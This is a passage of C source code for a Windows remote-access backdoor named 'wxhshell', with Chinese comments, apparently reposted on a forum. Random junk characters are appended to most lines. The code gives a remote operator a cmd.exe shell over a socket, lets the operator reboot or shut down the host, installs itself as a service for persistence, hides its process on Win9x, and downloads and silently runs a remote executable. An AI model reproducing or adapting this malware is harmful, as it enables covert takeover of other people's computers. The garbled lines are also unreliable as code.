   h\ek2K  
  // 帮助 ,H1~_|)<  
  case '?': { dNt|"9~&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1 ![bu  
    break; Q]:%Jj2  
  } &Rt]K  
  // 安装 6)YNjh.{ *  
  case 'i': { <plR<iI.  
    if(Install()) &;3z 1s/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U2?gODh'  
    else VO6y9X"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /pN2Jst  
    break; Wm&f+{LO+K  
    } +# >%bq x  
  // 卸载 P!ICno6[e  
  case 'r': { . +?lID  
    if(Uninstall()) ;MI<J>s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PTZ1 oD  
    else o/ 5 Fg>d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZEJa dR  
    break; RN| ..zml  
    } VMXXBa&  
  // 显示 wxhshell 所在路径 pa73`Ca]  
  case 'p': { x)5v8kgf  
    char svExeFile[MAX_PATH]; H)+kN'J  
    strcpy(svExeFile,"\n\r"); m%\[1|N  
      strcat(svExeFile,ExeFile); JH;DVPX9z  
        send(wsh,svExeFile,strlen(svExeFile),0); <\mc|p"  
    break; _Q}z 6+_\  
    } |O2PcYNu  
  // 重启 }d]8fHG  
  case 'b': { M.Ik%nN#K0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;^i,Q} b/  
    if(Boot(REBOOT)) Q~{@3<yEI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F'*&-l  
    else { {`zF{AW8q  
    closesocket(wsh); $O-, :<HY  
    ExitThread(0); { "c,P:S]  
    } __c_JU  
    break; #OTsD+2Za=  
    } o>tT!8rH  
  // 关机 dfcG'+RU}  
  case 'd': { #^V"=RbD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }('' |z#UE  
    if(Boot(SHUTDOWN)) \ChcJth@o<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y'h'8 \  
    else { 0/]vmDr  
    closesocket(wsh); ".ZiR7Z:$Y  
    ExitThread(0); uoHhp4>^  
    } vsR ^aVwVZ  
    break; YPEd XU8}  
    } U:e9Vq'N m  
  // 获取shell b2%[9) "I.  
  case 's': { h`j gF  
    CmdShell(wsh); /XB1U[b  
    closesocket(wsh); 0xcqX!(  
    ExitThread(0); b4ivWb|`  
    break; X>>rvlDN  
  } xw H`alu  
  // 退出 RGLqn{<V  
  case 'x': { # GGmA.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cf'Z#NfQ  
    CloseIt(wsh); ?Gfe?  
    break; V:J6eks_  
    } Us5 JnP5  
  // 离开 sSK$  
  case 'q': { 8msDJ {,X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]0le=Ee^%  
    closesocket(wsh); O=/Tx2i;  
    WSACleanup(); F o6U "  
    exit(1); OHo0W)XUU  
    break; XN;eehB?aE  
        } H!u:P?j@\  
  } 8=9sIK2  
  } 9g"H9)EZ^  
]Ox.6BKjDP  
  // 提示信息 NM Ajt>t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zOw]P6Gk  
} =qvU9p2o  
  } z wW9>Y  
Z}wAh|N-  
  return; VJaL$Wv)H  
} \zwb>^  
L\[jafb_`  
// shell模块句柄 ~^*tIIOX  
int CmdShell(SOCKET sock) ='j  
{ Z5=!R$4  
STARTUPINFO si; V'$ eun  
ZeroMemory(&si,sizeof(si)); 4J1Q])G9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fZO /HzX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x{}m)2[Y  
PROCESS_INFORMATION ProcessInfo; o<4LL7$A!  
char cmdline[]="cmd"; .R,8<4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OA0\b_  
  return 0; `L>'9rbZO  
} elN3B91\6r  
zU%aobZ  
// 自身启动模式 `ijX9c  
int StartFromService(void) \ck3y]a[  
{ LzfLCGA^  
typedef struct !l|Qyk[  
{ /[L:ol6;!  
  DWORD ExitStatus; .8m)^ET  
  DWORD PebBaseAddress; :\Z0^{  
  DWORD AffinityMask; "e"`Or  
  DWORD BasePriority; S}/CzQ  
  ULONG UniqueProcessId; S}E@*t2 h  
  ULONG InheritedFromUniqueProcessId; d?mdw ?|  
}   PROCESS_BASIC_INFORMATION; j; C(:6#J  
,3j*D+  
PROCNTQSIP NtQueryInformationProcess; THJ+OnP  
_xUXt)k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UPC& O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K&*FI (a  
&g`a [#  
  HANDLE             hProcess; pqK3u)  
  PROCESS_BASIC_INFORMATION pbi; u$"5SGI6  
s"/8h#!zv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eD3F%wxz  
  if(NULL == hInst ) return 0; A@] n"  
f2=s{0SX0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M: 6 cma5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L[K_!^MZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @'<|B. f  
d~8Q)"6 [  
  if (!NtQueryInformationProcess) return 0; [I9d  
}bVyvH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SZPu"O\  
  if(!hProcess) return 0; tv2dyC&a  
[Dhc9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uP$K{ )  
UnPSJ]VW  
  CloseHandle(hProcess); "J9+~)e^!  
SXL6)pX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wg_Z!(Hr#  
if(hProcess==NULL) return 0; l;2bBx7vW  
'a}{s>{O  
HMODULE hMod; Oq("E(z+f  
char procName[255]; 7\xa_nrI  
unsigned long cbNeeded; $I9zJ"*  
:PLsA3[}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oOlI*/OMb  
o kYsjK5  
  CloseHandle(hProcess); r0sd_@Oj  
M3V[p9>  
if(strstr(procName,"services")) return 1; // 以服务启动 mNJB0B};m  
0ePZxOSjD  
  return 0; // 注册表启动 ^o 5q- ;a  
} L,<.rr$:  
u{ng\d*KE}  
// 主模块 J L3A/^  
int StartWxhshell(LPSTR lpCmdLine) ,P|PPx%@  
{ 1pK7EK3R  
  SOCKET wsl; nxt1Y04,H  
BOOL val=TRUE; cZYX[.oIB  
  int port=0; Rq*m x<HDX  
  struct sockaddr_in door; qr@,92_  
k"Is.[I?^  
  if(wscfg.ws_autoins) Install(); =[WccF  
gUMUh] j  
port=atoi(lpCmdLine); 25(\'484>  
_i 8oWy1  
if(port<=0) port=wscfg.ws_port; \rJk[Kec  
ZjcJYtD  
  WSADATA data; S("bN{7nE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; & mWq'h  
YS]RG/'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DlP}Fp{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4-m%[D |W  
  door.sin_family = AF_INET; 3FdoADe{{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QZ6M,\  
  door.sin_port = htons(port); ~i \69q%  
^K"`k43{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]?r8^LyZ4  
closesocket(wsl); i8{jMe!Sa  
return 1; 5&>(|Y~I  
} 82<L07fB  
Q6BW ax|  
  if(listen(wsl,2) == INVALID_SOCKET) { -K0tK~%q  
closesocket(wsl); ?`vb\K<5H;  
return 1; wFvilF V  
} +k>v^sz  
  Wxhshell(wsl); |qr[*c3$1  
  WSACleanup(); b{oNV-<&{  
Y /+ D4^ L  
return 0; p.%$  
bHP-Z9riv  
} ;f><;X~KX  
*0U(nCT&m  
// 以NT服务方式启动 U +]ab  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |Mh;k 6  
{ ]X5*e'  
DWORD   status = 0; 3EFk] X  
  DWORD   specificError = 0xfffffff; (3-G<E  
'G^=>=w|Nv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H)p{T@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \yxr@z1_b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  lG{J  
  serviceStatus.dwWin32ExitCode     = 0; I;7{b\t Q  
  serviceStatus.dwServiceSpecificExitCode = 0; Rpr# ,|  
  serviceStatus.dwCheckPoint       = 0; 'e&4#VLH^  
  serviceStatus.dwWaitHint       = 0; FLWz7Rj  
n Au>i<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rl(b tr1w  
  if (hServiceStatusHandle==0) return; XBc+_=)$  
}bHpFe  
status = GetLastError(); uJWX7UGuz  
  if (status!=NO_ERROR) HGKm?'['   
{ ;gc 2vDMv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o ZAjta_4  
    serviceStatus.dwCheckPoint       = 0; +n:#Uf)  
    serviceStatus.dwWaitHint       = 0; M}c_KFMV  
    serviceStatus.dwWin32ExitCode     = status; $xl*P#  
    serviceStatus.dwServiceSpecificExitCode = specificError; " JRlj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #?/.LMn{  
    return; LJ)3!Q/:  
  } bcZuV5F&  
F ^\v`l,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Bj2rA.M  
  serviceStatus.dwCheckPoint       = 0; ?{[H+hzz0  
  serviceStatus.dwWaitHint       = 0; wO"Q{oi+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n`hSn41A  
} H5 -I}z  
|gaZq!l  
// 处理NT服务事件,比如:启动、停止 csV1ki/A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vr;7p[~  
{ jzV#%O{`  
switch(fdwControl) V>%%2"&C  
{ "Vh(%N`6  
case SERVICE_CONTROL_STOP: 9qPP{K,Pq2  
  serviceStatus.dwWin32ExitCode = 0; +]{X-R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C }[u[)  
  serviceStatus.dwCheckPoint   = 0; ir m8z|N-  
  serviceStatus.dwWaitHint     = 0; 6->b(B V $  
  { ]gEfm~YV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zbnQCLs  
  } 'FVT"M~  
  return; Ia\Nj _-%L  
case SERVICE_CONTROL_PAUSE: .UDZW*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b:JOR@O  
  break; *dTw$T#  
case SERVICE_CONTROL_CONTINUE: 1Zecl);O{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A#i-C+"}  
  break; 2H /a&uo@n  
case SERVICE_CONTROL_INTERROGATE: _#+9)*A  
  break; nMnc&8r  
}; 9xz`V1mIL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lojn8uL  
} {kzM*!g  
V^ :\/EU  
// 标准应用程序主函数 DXiD>1(q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zf!c  
{ lN&GfPP6  
zEGwQp<  
// 获取操作系统版本 gV7o eZ5  
OsIsNt=GetOsVer(); q8D1MEBL`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [brrziZ  
@!S$gTz  
  // 从命令行安装 EAI[J&c  
  if(strpbrk(lpCmdLine,"iI")) Install(); :K~7BJ(HO  
WZMsmhU@T  
  // 下载执行文件 iO@wqbg$6  
if(wscfg.ws_downexe) { ^Nu} HcC+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (UM+?]Qwy  
  WinExec(wscfg.ws_filenam,SW_HIDE); #i,O "`4  
} Jq!($PdA  
`Ctj]t  
if(!OsIsNt) { HlO+^(eX  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ju\"l8[f  
HideProc(); NX; &V7  
StartWxhshell(lpCmdLine); '71btd1  
} J0K"WmW  
else C+k>Ajr  
  if(StartFromService()) X*~YCF[_  
  // 以服务方式启动 s6egd%r  
  StartServiceCtrlDispatcher(DispatchTable); HI?>]zz|  
else {\e}43^9N  
  // 普通方式启动 5YCbFk^  
  StartWxhshell(lpCmdLine); jyC6:BNust  
qL#R XUTP  
return 0; IF}r%%'Y$  
}
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只看该作者 1 发表于: 2006-10-10
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